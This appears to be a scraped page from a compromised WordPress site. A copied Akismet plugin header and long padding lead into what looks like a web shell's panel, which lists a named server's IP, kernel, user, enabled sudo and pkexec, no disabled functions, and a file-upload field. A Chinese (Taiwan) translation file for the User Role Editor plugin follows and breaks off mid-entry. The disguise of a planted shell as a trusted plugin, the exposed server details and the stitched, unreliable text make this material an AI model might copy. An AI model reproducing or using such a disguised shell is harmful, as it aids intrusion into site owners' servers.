#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/ |
Upload File : |
# Translation of Plugins - User Role Editor - Stable (latest release) in Chinese (Taiwan) # This file is distributed under the same license as the Plugins - User Role Editor - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2024-12-15 21:07:39+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/4.0.1\n" "Language: zh_TW\n" "Project-Id-Version: Plugins - User Role Editor - Stable (latest release)\n" #: includes/classes/screen-help.php:86 msgid "Turn this option on in order to remove this limitation." msgstr "啟用這項設定後,便會解除這項限制。" #: includes/classes/screen-help.php:85 msgid "Super administrator only may create, edit and delete users under WordPress multi-site by default." msgstr "依照預設,多站網路管理員僅能新增、編輯及刪除 WordPress 多站網路中的使用者。" #: includes/classes/screen-help.php:68 msgid "in order to be assigned to the new registered users." msgstr "應考慮在個別網站已存在其他預設使用者角色。" #: includes/classes/screen-help.php:67 msgid "Note for multisite environment: take into account that other default roles should exist at the site," msgstr "多站網路注意事項: 指派使用者角色給新註冊使用者前," #: includes/classes/screen-help.php:66 msgid "select roles below to assign them to the new user automatically as an addition to the primary role." msgstr "選取要自動指派給新註冊使用者的使用者角色,作為主要使用者角色的擴充。" #: includes/classes/screen-help.php:48 msgid "an empty role \"No rights\", in order to look on the users list with role \"No rights\" at the separate tab then." msgstr "指派為 [沒有權限] 的使用者角色,這樣便能在專屬分頁中顯示 [沒有權限] 使用者角色的使用者清單。" #: includes/classes/screen-help.php:47 msgid "Show at the \"Users\" page a quant of users without role. Module allows to assign all of them " msgstr "在 [使用者] 頁面顯示未獲指派使用者角色的使用者數量。這個模組會將這類使用者" #: includes/classes/screen-help.php:29 msgid "He should do it using roles only." msgstr "這位選取的使用者僅使用他所隸屬的使用者角色的權限。" #: includes/classes/screen-help.php:28 msgid "Administrator can not assign capabilities to the user directly." msgstr "這時網站管理員無法直接為使用者指派權限。" #: includes/classes/screen-help.php:27 msgid "If turned off - capabilities section of selected user is shown in readonly mode." msgstr "如果停用這項設定,選取的使用者的權限區段會以唯讀模式顯示。" #: includes/classes/screen-help.php:23 msgid "Turning on this option will show those deprecated capabilities." msgstr "啟用這項設定後,便會顯示這些已淘汰不用的權限。" #: includes/classes/screen-help.php:22 msgid "They are left at the user roles for the compatibility purpose with old themes and plugins code." msgstr "為了舊式佈景主題及外掛的程式碼相容性,這類已淘汰不用的權限仍保留於使用者角色中。" #: includes/classes/screen-help.php:21 msgid "Capabilities like \"level_0\", \"level_1\" are deprecated and are not used by WordPress." msgstr "WordPress 已將 [level_0] 及 [level_1] 這類權限淘汰不用。" #: includes/classes/screen-help.php:17 msgid "It is hidden by default for security reasons." msgstr "基於安全性考量,預設會隱藏這個使用者角色。" #: includes/classes/screen-help.php:16 msgid "turn this option on in order to make the \"Administrator\" role available at the User Role Editor roles selection drop-down list." msgstr "啟用這項設定後,[網站管理員] 使用者角色便會出現在 User Role Editor 的使用者角色下拉式選單中。" #: includes/classes/grant-roles.php:528 msgid "Select users from which you wish revoke role!" msgstr "請選取要撤銷使用者角色的使用者。" #: includes/classes/grant-roles.php:527 msgid "Select users to which you wish to add role!" msgstr "請選取要新增使用者角色的使用者。" #: includes/classes/grant-roles.php:526 msgid "Select role first!" msgstr "請先選取使用者角色。" #: includes/classes/grant-roles.php:191 msgid "Error: Role not revoked" msgstr "錯誤: 使用者角色未撤銷。" #. translators: template %d is a quantity of users to whom role was added #: includes/classes/grant-roles.php:188 msgid "Role revoked from %d user(s)." msgstr "使用者角色已從 %d 個使用者撤銷。" #: includes/classes/grant-roles.php:107 msgid "Error: Role not added" msgstr "錯誤: 使用者角色未新增。" #. translators: template %d is a quantity of users to whom role was added #: includes/classes/grant-roles.php:104 msgid "Role added to %d user(s)." msgstr "使用者角色已新增至 %d 個使用者。" #: includes/classes/grant-roles.php:86 includes/classes/grant-roles.php:167 msgid "Invalid role" msgstr "無效的使用者角色。" #: includes/classes/grant-roles.php:74 includes/classes/grant-roles.php:155 msgid "Empty users list" msgstr "清除使用者清單" #: includes/classes/capability.php:90 msgid "Wrong Request" msgstr "錯誤的要求" #: includes/classes/editor.php:1291 msgid "Wrong role ID" msgstr "錯誤的使用者角色 ID。" #: includes/classes/editor.php:1263 msgid "There are no roles for deletion" msgstr "沒有使用者角色可供刪除。" #: includes/classes/grant-roles.php:491 msgid "Revoke" msgstr "撤銷" #: includes/classes/grant-roles.php:485 includes/classes/grant-roles.php:487 msgid "Revoke role…" msgstr "撤銷使用者角色..." #: includes/classes/grant-roles.php:483 msgid "Add" msgstr "新增" #: includes/classes/grant-roles.php:477 includes/classes/grant-roles.php:479 msgid "Add role…" msgstr "新增使用者角色..." #: includes/classes/editor.php:1335 msgid "Wrong request. Default role can not be empty" msgstr "錯誤的要求。預設使用者角色不能留空。" #: includes/classes/editor.php:1331 msgid "This method is only for a single site of WordPress multisite installation." msgstr "這個方法僅適用於 WordPress 多站網路中的單一網站。" #: includes/classes/editor.php:1237 msgid "You can not delete role" msgstr "目前的登入身分沒有刪除使用者角色的權限。" #: includes/classes/editor.php:1233 msgid "Role does not exist" msgstr "使用者角色不存在。" #: includes/classes/screen-help.php:19 msgid "automatically converts capability names from the technical form for internal use like \"edit_others_posts\" to more user friendly form, e.g. \"Edit others posts\"." msgstr "自動將權限名稱從內部使用的技術格式 (如 [edit_others_posts]) 轉換為更適合使用者的格式 (如 [編輯其他人的文章])。" #: includes/classes/editor.php:232 msgid "Wrong request!" msgstr "錯誤的要求!" #: includes/classes/capability.php:51 msgid "Error: this word is used by WordPress as a role ID" msgstr "錯誤: 這是 WordPress 用於使用者角色 ID 的字詞。" #: includes/settings-template.php:107 msgid "columns" msgstr "欄" #: includes/settings-template.php:101 msgid "Show capabilities in" msgstr "權限顯示方式:" #: includes/settings-template.php:42 msgid "Tools" msgstr "工具" #: includes/classes/view.php:338 msgid "Columns:" msgstr "欄位數量:" #: includes/classes/view.php:335 msgid "Granted Only" msgstr "僅顯示已授予的權限" #: includes/classes/view.php:319 msgid "Granted" msgstr "已授予的權限數量" #: includes/classes/view.php:319 msgid "Total" msgstr "權限數量總計" #: includes/classes/view.php:319 msgid "Group" msgstr "權限群組" #: includes/classes/user-view.php:59 msgid "Switch To" msgstr "切換至這個使用者" #: includes/classes/user-role-editor.php:810 msgid "If any plugins (such as WooCommerce, S2Member and many others) have changed user roles and capabilities during installation, all those changes will be LOST!" msgstr "如果任何外掛 (例如 WooCommerce、S2Member 等) 在安裝過程中變更了這些使用者角色的設定,原先的變更都會恢復為預設值。" #: includes/classes/user-role-editor.php:809 msgid " Resetting will restore default user roles and capabilities from WordPress core." msgstr "重設功能會對 WordPress 核心程式的預設使用者角色及對應權限進行還原。" #: includes/classes/user-role-editor.php:808 msgid "DANGER!" msgstr "重要提示!" #: includes/classes/user-role-editor.php:760 #: includes/classes/user-role-editor.php:806 msgid "No" msgstr "否" #: includes/classes/user-role-editor.php:759 #: includes/classes/user-role-editor.php:805 msgid "Yes" msgstr "是 " #: includes/classes/user-role-editor.php:758 #: includes/classes/user-role-editor.php:804 msgid "Confirm" msgstr "確認" #: includes/classes/user-role-editor.php:295 msgid "To:" msgstr "成為:" #: includes/classes/tools.php:40 msgid "Reset Roles to its original state" msgstr "重設使用者角色至其原始原始狀態" #: includes/classes/tools.php:32 msgid "If checked, then apply action to ALL sites. Main site only is affected in other case." msgstr "啟用這項設定後,便會將操作套用至全部網站;除非是其他狀況,才會僅有主要網站受到影響。" #: includes/classes/tools.php:24 msgid "For more information on how to undo undesired changes and restore plugins capabilities in case you lost them by mistake go to: " msgstr "如需進一步了解如何復原不想繼續使用的變更及還原因錯誤操作而失去的外掛權限,請造訪 " #: includes/classes/tools.php:23 msgid "If any plugins (such as WooCommerce, S2Member and many others) have changed user roles and capabilities during installation, those changes will be LOST!" msgstr "如果任何外掛 (例如 WooCommerce、S2Member 等) 在安裝過程中變更了這些使用者角色的設定,原先的變更都會恢復為預設值。" #: includes/classes/tools.php:22 msgid "Resetting will setup default user roles and capabilities from WordPress core." msgstr "重設功能會對 WordPress 核心程式的預設使用者角色及對應權限進行設定。" #: includes/classes/tools.php:20 msgid "WARNING!" msgstr "警告!" #: includes/classes/tools.php:64 msgid "Tools: Reset: User Roles were initialized" msgstr "工具: 重設: 使用者角色已初始化。" #: includes/classes/screen-help.php:25 msgid "Show confirmation dialog before save changes made to a current role." msgstr "在儲存對目前使用者角色的變更前,先顯示確認對話方塊。" #: includes/classes/screen-help.php:24 includes/settings-template.php:86 msgid "Confirm role update" msgstr "確認使用者角色更新" #: includes/classes/role-additional-options.php:113 msgid "Additional Options" msgstr "附加功能" #: includes/classes/role-additional-options.php:53 msgid "Hide admin bar" msgstr "隱藏工具列" #: includes/classes/grant-roles.php:525 msgid "Select role(s) which you wish to grant!" msgstr "選取要進行授予的使用者角色。" #: includes/classes/grant-roles.php:524 msgid "Select users to which you wish to grant roles!" msgstr "請選取要授予使用者角色的使用者。" #: includes/classes/grant-roles.php:523 msgid "Grant roles to selected users" msgstr "將使用者角色授予選取的使用者" #: includes/classes/view.php:288 msgid "Working..." msgstr "正在執行..." #: includes/classes/grant-roles.php:475 msgid "Grant Roles" msgstr "授予使用者角色" #: includes/classes/grant-roles.php:429 msgid "Other Roles: " msgstr "其他使用者角色: " #: includes/classes/grant-roles.php:409 msgid "Primary Role: " msgstr "主要使用者角色: " #: includes/classes/grant-roles.php:386 msgid "Requested user does not exist" msgstr "要求的使用者不存在。" #: includes/classes/grant-roles.php:380 msgid "Wrong request, valid user ID was missed" msgstr "錯誤的要求,找不到有效的使用者 ID。" #: includes/classes/grant-roles.php:363 msgid "Roles were granted to users successfully" msgstr "將使用者角色授予使用者已成功完成。" #: includes/classes/grant-roles.php:354 msgid "Invalid data at the other roles list" msgstr "在其他使用者角色清單中有無效的資料。" #: includes/classes/grant-roles.php:341 msgid "Invalid primary role" msgstr "無效的主要使用者角色。" #: includes/classes/grant-roles.php:79 includes/classes/grant-roles.php:160 #: includes/classes/grant-roles.php:333 msgid "Can not edit user or invalid data at the users list" msgstr "無法編輯使用者或在使用者清單中有無效的資料。" #: includes/classes/grant-roles.php:69 includes/classes/grant-roles.php:150 #: includes/classes/grant-roles.php:327 includes/classes/grant-roles.php:373 msgid "Not enough permissions" msgstr "沒有足夠的權限。" #: includes/classes/capability.php:229 msgid "capabilities were removed successfully" msgstr "權限已成功移除。" #: includes/classes/capability.php:213 includes/classes/capability.php:218 msgid "There are no capabilities available for deletion!" msgstr "沒有權限可供刪除。" #: includes/classes/capability.php:43 msgid "Error: this capability is used internally by WordPress" msgstr "錯誤: 這是 WordPress 內部使用的權限。" #: includes/classes/capabilities-groups-manager.php:194 msgid "Deprecated" msgstr "已淘汰不用" #: includes/classes/capabilities-groups-manager.php:165 msgid "Users" msgstr "使用者" #: includes/classes/capabilities-groups-manager.php:160 msgid "Plugins" msgstr "外掛" #: includes/classes/capabilities-groups-manager.php:155 msgid "Pages" msgstr "頁面" #: includes/classes/capabilities-groups-manager.php:150 msgid "Posts" msgstr "文章" #: includes/classes/capabilities-groups-manager.php:145 msgid "Themes" msgstr "佈景主題" #: includes/classes/capabilities-groups-manager.php:130 msgid "All" msgstr "全部權限" #: includes/classes/capabilities-groups-manager.php:108 #: includes/classes/capabilities-groups-manager.php:135 msgid "Core" msgstr "核心程式" #: includes/classes/capabilities-groups-manager.php:103 msgid "WooCommerce" msgstr "WooCommerce" #: includes/classes/capabilities-groups-manager.php:45 msgid "Custom Post Types" msgstr "自訂內容類型" #. Author of the plugin #: user-role-editor.php msgid "Vladimir Garagulya" msgstr "Vladimir Garagulya" #. Description of the plugin #: user-role-editor.php msgid "Change/add/delete WordPress user roles and capabilities." msgstr "這個外掛能變更、新增、刪除 WordPress 網站的使用者角色及對應權限。" #. Plugin URI of the plugin #. Author URI of the plugin #: user-role-editor.php msgid "https://www.role-editor.com" msgstr "https://www.role-editor.com" #: includes/classes/user-view.php:195 msgid "Other Roles:" msgstr "其它使用者角色:" #: includes/classes/user-view.php:186 msgid "bbPress Role:" msgstr "bbPress 使用者角色:" #: includes/classes/user-view.php:180 msgid "Primary Role:" msgstr "主要使用者角色:" #: includes/classes/user-view.php:142 msgid "Change capabilities for user" msgstr "變更使用者權限:" #: includes/classes/user-view.php:71 msgid "Network Super Admin" msgstr "多站網路管理員" #: includes/classes/capabilities-groups-manager.php:201 msgid "Custom capabilities" msgstr "自訂權限" #: includes/classes/view.php:332 msgid "Quick filter:" msgstr "快速篩選:" #: includes/classes/role-view.php:382 includes/classes/tools.php:31 msgid "Apply to All Sites" msgstr "套用至全部網站" #: includes/classes/role-view.php:369 msgid "If checked, then apply action to ALL sites of this Network" msgstr "啟用這項設定後,便會套用至多站網路中的全部網站" #: includes/classes/role-view.php:355 includes/classes/user-view.php:159 msgid "Show capabilities in human readable form" msgstr "以人類可讀的格式顯示權限" #: includes/classes/role-view.php:399 msgid "Select Role and change its capabilities:" msgstr "選取使用者角色並變更對應權限:" #: includes/settings-template.php:207 msgid "Allow non super administrators to create, edit, and delete users" msgstr "開放非多站網路管理員新增、編輯及刪除使用者" #: includes/settings-template.php:181 msgid "Note for multisite environment: take into account that other default roles should exist at the site, in order to be assigned to the new registered users." msgstr "多站網路注意事項: 指派使用者角色給新註冊使用者前,應考慮在個別網站中已存在其他預設使用者角色。" #: includes/settings-template.php:175 msgid "Other default roles for new registered user: " msgstr "其他可供指派給新註冊使用者的預設使用者角色: " #: includes/settings-template.php:168 msgid "Primary default role: " msgstr "主要預設使用者角色: " #: includes/settings-template.php:121 includes/settings-template.php:156 #: includes/settings-template.php:188 includes/settings-template.php:220 msgid "Save" msgstr "儲存" #: includes/settings-template.php:46 msgid "About" msgstr "關於這個外掛" #: includes/settings-template.php:16 msgid "User Role Editor - Options" msgstr "User Role Editor - 選項" #: includes/classes/user-role-editor.php:779 msgid " Capability name (ID) must contain latin characters, digits, hyphens or underscore only!" msgstr "權限名稱 (ID) 必須包含英文字母、數字、連字號或底線。" #: includes/classes/user-role-editor.php:778 msgid " Capability name (ID) can not be empty!" msgstr "權限名稱 (ID) 不能留空。" #: includes/classes/user-role-editor.php:777 msgid "Warning! Be careful - removing critical capability could crash some plugin or other custom code" msgstr "警告!請審慎使用。移除重要權限會導致某些外掛或自訂程式碼失效。" #: includes/classes/user-role-editor.php:775 msgid "Set New Default Role" msgstr "設定新的預設使用者角色" #: includes/classes/user-role-editor.php:774 msgid "Default Role" msgstr "預設使用者角色" #: includes/classes/user-role-editor.php:813 msgid "Continue?" msgstr "是否繼續進行?" #: includes/classes/user-role-editor.php:811 msgid "For more information on how to undo undesired changes and restore plugin capabilities go to" msgstr "如需進一步了解如何復原不想繼續使用的變更及還原外掛權限,請造訪" #: includes/classes/tools.php:40 includes/classes/user-role-editor.php:807 msgid "Reset" msgstr "重設" #: includes/classes/user-role-editor.php:773 #: includes/classes/user-role-editor.php:776 msgid "Delete Capability" msgstr "刪除權限" #: includes/classes/user-role-editor.php:772 msgid "Add Capability" msgstr "新增權限" #: includes/classes/user-role-editor.php:771 msgid "Cancel" msgstr "取消" #: includes/classes/user-role-editor.php:770 msgid "Delete Role" msgstr "删除使用者角色" #: includes/classes/user-role-editor.php:768 msgid "Add Role" msgstr "新增使用者角色" #: includes/classes/user-role-editor.php:767 msgid " WordPress does not support numeric Role name (ID). Add latin characters to it." msgstr "WordPress 不支援純數字使用者角色名稱 (ID)。請在使用者角色名稱中加入英文字母。" #: includes/classes/user-role-editor.php:766 msgid " Role name (ID) must contain latin characters, digits, hyphens or underscore only!" msgstr "使用者角色名稱 (ID) 必須包含英文字母、數字、連字號或底線。" #: includes/classes/user-role-editor.php:765 msgid " Role name (ID) can not be empty!" msgstr "使用者角色名稱 (ID) 不能留空。" #: includes/classes/user-role-editor.php:764 #: includes/classes/user-role-editor.php:769 msgid "Rename Role" msgstr "重新命名使用者角色" #: includes/classes/user-role-editor.php:763 msgid "Add New Role" msgstr "新增使用者角色" #: includes/classes/user-role-editor.php:762 msgid "Please confirm permissions update" msgstr "請確認權限是否要進行更新?" #: includes/classes/user-role-editor.php:761 msgid "Update" msgstr "更新" #: includes/classes/user-role-editor.php:636 msgid "You do not have sufficient permissions to manage options for User Role Editor." msgstr "目前的登入身分沒有管理 User Role Editor 選項的權限。" #: includes/classes/settings.php:120 msgid "Default Roles are updated" msgstr "預設使用者角色已更新。" #: includes/classes/settings.php:70 includes/classes/settings.php:90 #: includes/classes/settings.php:140 msgid "User Role Editor options are updated" msgstr "User Role Editor 選項已更新。" #: includes/classes/capabilities-groups-manager.php:187 #: includes/classes/user-role-editor.php:577 includes/settings-template.php:36 msgid "Multisite" msgstr "多站網路" #: includes/classes/user-role-editor.php:571 includes/settings-template.php:31 msgid "Default Roles" msgstr "預設使用者角色" #: includes/classes/user-role-editor.php:565 includes/settings-template.php:26 msgid "Additional Modules" msgstr "附加模組" #: includes/classes/capabilities-groups-manager.php:140 #: includes/classes/user-role-editor.php:559 includes/settings-template.php:20 msgid "General" msgstr "一般" #: includes/classes/user-role-editor.php:510 #: includes/classes/user-role-editor.php:523 msgid "Settings" msgstr "設定" #: includes/classes/user-role-editor.php:374 #: includes/classes/user-role-editor.php:376 msgid "You do not have permission to edit this user." msgstr "目前的登入身分沒有編輯這個使用者的權限。" #: includes/classes/user-role-editor.php:297 msgid "Provide new role" msgstr "新增新使用者角色" #: includes/classes/user-role-editor.php:296 msgid "No rights" msgstr "沒有權限" #: includes/classes/user-role-editor.php:294 msgid "Change role for users without role" msgstr "為未獲指派使用者角色的使用者變更使用者角色" #: includes/classes/user-other-roles.php:311 msgid "Additional Capabilities" msgstr "附加的權限" #: includes/classes/user-other-roles.php:247 msgid "Edit" msgstr "編輯" #: includes/classes/user-other-roles.php:240 #: includes/classes/user-role-editor.php:402 msgid "Capabilities" msgstr "權限" #: includes/classes/user-other-roles.php:125 msgid "Select additional roles for this user" msgstr "為這個使用者選取附加的使用者角色" #: includes/classes/user-other-roles.php:124 #: includes/classes/user-other-roles.php:261 msgid "Other Roles" msgstr "其它使用者角色" #: includes/classes/screen-help.php:84 msgid "Allow non super-administrators to create, edit and delete users" msgstr "開放非多站網路管理員新增、編輯及刪除使用者" #: includes/classes/screen-help.php:65 msgid "Other default roles for new registered user" msgstr "其他可供指派給新註冊使用者的預設使用者角色" #: includes/classes/screen-help.php:46 includes/settings-template.php:141 msgid "Count users without role" msgstr "計算未獲指派使用者角色的使用者" #: includes/classes/screen-help.php:26 includes/settings-template.php:94 msgid "Edit user capabilities" msgstr "編輯使用者權限" #: includes/classes/role-view.php:365 includes/classes/screen-help.php:20 #: includes/classes/user-view.php:169 includes/settings-template.php:78 msgid "Show deprecated capabilities" msgstr "顯示已淘汰不用的權限" #: includes/classes/screen-help.php:18 includes/settings-template.php:70 msgid "Show capabilities in the human readable form" msgstr "以人類可讀的格式顯示權限" #: includes/classes/screen-help.php:15 includes/settings-template.php:61 msgid "Show Administrator role at User Role Editor" msgstr "在 User Role Editor 顯示 [網站管理員] 使用者角色" #: includes/classes/screen-help.php:12 includes/classes/screen-help.php:42 #: includes/classes/screen-help.php:62 includes/classes/screen-help.php:81 msgid "User Role Editor Options page help" msgstr "User Role Editor 選項使用說明" #. translators: placeholder %s is replaced by denied user capability id string #. value #: includes/classes/user-other-roles.php:225 msgid "Denied: %s" msgstr "已拒絕: %s" #: includes/classes/grant-roles.php:415 includes/classes/user-view.php:96 msgid "— No role for this site —" msgstr "— 不指派使用者角色 —" #: includes/classes/role-view.php:66 msgid "None" msgstr "無" #: includes/classes/role-view.php:98 msgid "Delete All Unused Roles" msgstr "刪除全部尚未使用的使用者角色" #: includes/classes/lib.php:393 msgid "FAQ" msgstr "常見問題集" #: includes/classes/lib.php:392 includes/classes/user-role-editor.php:536 msgid "Changelog" msgstr "變更記錄" #: includes/classes/lib.php:391 msgid "Plugin download" msgstr "外掛下載頁面" #: includes/classes/lib.php:390 msgid "Plugin webpage" msgstr "外掛官方網站" #: includes/classes/lib.php:389 msgid "Author's website" msgstr "開發者個人網站" #: includes/classes/lib.php:388 msgid "Version:" msgstr "版本:" #. translators: placeholder %s is replaced by removed user capability id string #. value #: includes/classes/capability.php:225 msgid "Capability %s was removed successfully" msgstr "權限 [%s] 已成功移除。" #. translators: placeholder %s is replaced by existed user capability id string #. value #: includes/classes/capability.php:114 msgid "Capability %s exists already" msgstr "權限 [%s] 已存在。" #. translators: placeholder %s is replaced by added user capability id string #. value #: includes/classes/capability.php:111 msgid "Capability %s was added successfully" msgstr "權限 [%s] 已成功新增。" #: includes/classes/capability.php:33 msgid "Error: Capability name must contain latin characters and digits only!" msgstr "錯誤: 權限名稱僅能包含英文字母及數字。" #: includes/classes/editor.php:1626 msgid "Export" msgstr "匯出" #: includes/classes/editor.php:1625 msgid "Delete themes" msgstr "删除佈景主題" #: includes/classes/editor.php:1624 msgid "Edit theme options" msgstr "編輯佈景主題選項" #: includes/classes/editor.php:1623 msgid "Promote users" msgstr "變更使用者角色" #: includes/classes/editor.php:1622 msgid "Add users" msgstr "新增使用者" #: includes/classes/editor.php:1621 msgid "Remove users" msgstr "移除使用者" #: includes/classes/editor.php:1620 msgid "List users" msgstr "列出使用者" #: includes/classes/editor.php:1619 msgid "Update core" msgstr "更新核心程式" #: includes/classes/editor.php:1618 msgid "Install themes" msgstr "安裝佈景主題" #: includes/classes/editor.php:1617 msgid "Update themes" msgstr "更新佈景主題" #: includes/classes/editor.php:1616 msgid "Install plugins" msgstr "安裝外掛" #: includes/classes/editor.php:1615 msgid "Delete plugins" msgstr "删除外掛" #: includes/classes/editor.php:1614 msgid "Update plugins" msgstr "更新外掛" #: includes/classes/editor.php:1613 msgid "Edit dashboard" msgstr "編輯控制台" #: includes/classes/editor.php:1612 msgid "Unfiltered upload" msgstr "未篩選的上傳" #: includes/classes/editor.php:1611 msgid "Create users" msgstr "新增使用者" #: includes/classes/editor.php:1610 msgid "Delete users" msgstr "删除使用者" #: includes/classes/editor.php:1609 msgid "Read private pages" msgstr "讀取私密頁面" #: includes/classes/editor.php:1608 msgid "Edit private pages" msgstr "編輯私密頁面" #: includes/classes/editor.php:1607 msgid "Delete private pages" msgstr "删除私密頁面" #: includes/classes/editor.php:1606 msgid "Read private posts" msgstr "讀取私密文章" #: includes/classes/editor.php:1605 msgid "Edit private posts" msgstr "編輯私密文章" #: includes/classes/editor.php:1604 msgid "Delete private posts" msgstr "刪除私密文章" #: includes/classes/editor.php:1603 msgid "Delete published posts" msgstr "刪除已發佈的文章" #: includes/classes/editor.php:1602 msgid "Delete others posts" msgstr "刪除其他人的文章" #: includes/classes/editor.php:1601 msgid "Delete posts" msgstr "刪除文章" #: includes/classes/editor.php:1600 msgid "Delete published pages" msgstr "删除已發佈的頁面" #: includes/classes/editor.php:1599 msgid "Delete others pages" msgstr "刪除其他人的頁面" #: includes/classes/editor.php:1598 msgid "Delete pages" msgstr "删除頁面" #: includes/classes/editor.php:1597 msgid "Publish pages" msgstr "發佈頁面" #: includes/classes/editor.php:1596 msgid "Edit published pages" msgstr "編輯已發佈的頁面" #: includes/classes/editor.php:1595 msgid "Edit others pages" msgstr "編輯其他人的頁面" #: includes/classes/editor.php:1594 msgid "Level 0" msgstr "等級 0" #: includes/classes/editor.php:1593 msgid "Level 1" msgstr "等級 1" #: includes/classes/editor.php:1592 msgid "Level 2" msgstr "等級 2" #: includes/classes/editor.php:1591 msgid "Level 3" msgstr "等級 3" #: includes/classes/editor.php:1590 msgid "Level 4" msgstr "等級 4" #: includes/classes/editor.php:1589 msgid "Level 5" msgstr "等級 5" #: includes/classes/editor.php:1588 msgid "Level 6" msgstr "等級 6" #: includes/classes/editor.php:1587 msgid "Level 7" msgstr "等級 7" #: includes/classes/editor.php:1586 msgid "Level 8" msgstr "等級 8" #: includes/classes/editor.php:1585 msgid "Level 9" msgstr "等級 9" #: includes/classes/editor.php:1584 msgid "Level 10" msgstr "等級 10" #: includes/classes/editor.php:1583 msgid "Read" msgstr "讀取" #: includes/classes/editor.php:1582 msgid "Edit pages" msgstr "編輯頁面" #: includes/classes/editor.php:1581 msgid "Publish posts" msgstr "發佈文章" #: includes/classes/editor.php:1580 msgid "Edit published posts" msgstr "編輯已發佈的文章" #: includes/classes/editor.php:1579 msgid "Edit others posts" msgstr "編輯其他人的文章" #: includes/classes/editor.php:1578 msgid "Edit posts" msgstr "編輯文章" #: includes/classes/editor.php:1577 msgid "Unfiltered html" msgstr "未篩選的 HTML" #: includes/classes/editor.php:1576 msgid "Import" msgstr "匯入" #: includes/classes/editor.php:1575 msgid "Upload files" msgstr "上傳檔案" #: includes/classes/editor.php:1574 msgid "Manage links" msgstr "管理連結" #: includes/classes/editor.php:1573 msgid "Manage categories" msgstr "管理分類" #: includes/classes/editor.php:1572 msgid "Moderate comments" msgstr "審閱留言" #: includes/classes/editor.php:1571 msgid "Manage options" msgstr "管理選項設定" #: includes/classes/editor.php:1570 msgid "Edit files" msgstr "編輯檔案" #: includes/classes/editor.php:1569 msgid "Edit users" msgstr "編輯使用者" #: includes/classes/editor.php:1568 msgid "Edit plugins" msgstr "編輯外掛" #: includes/classes/editor.php:1567 msgid "Activate plugins" msgstr "啟用外掛" #: includes/classes/editor.php:1566 msgid "Edit themes" msgstr "編輯佈景主題" #: includes/classes/editor.php:1565 msgid "Switch themes" msgstr "切換佈景主題" #: includes/classes/editor.php:1563 msgid "Subscriber" msgstr "訂閱者" #: includes/classes/editor.php:1562 msgid "Contributor" msgstr "投稿者" #: includes/classes/editor.php:1561 msgid "Author" msgstr "作者" #: includes/classes/editor.php:1560 msgid "Editor" msgstr "編輯" #: includes/classes/editor.php:1355 msgid 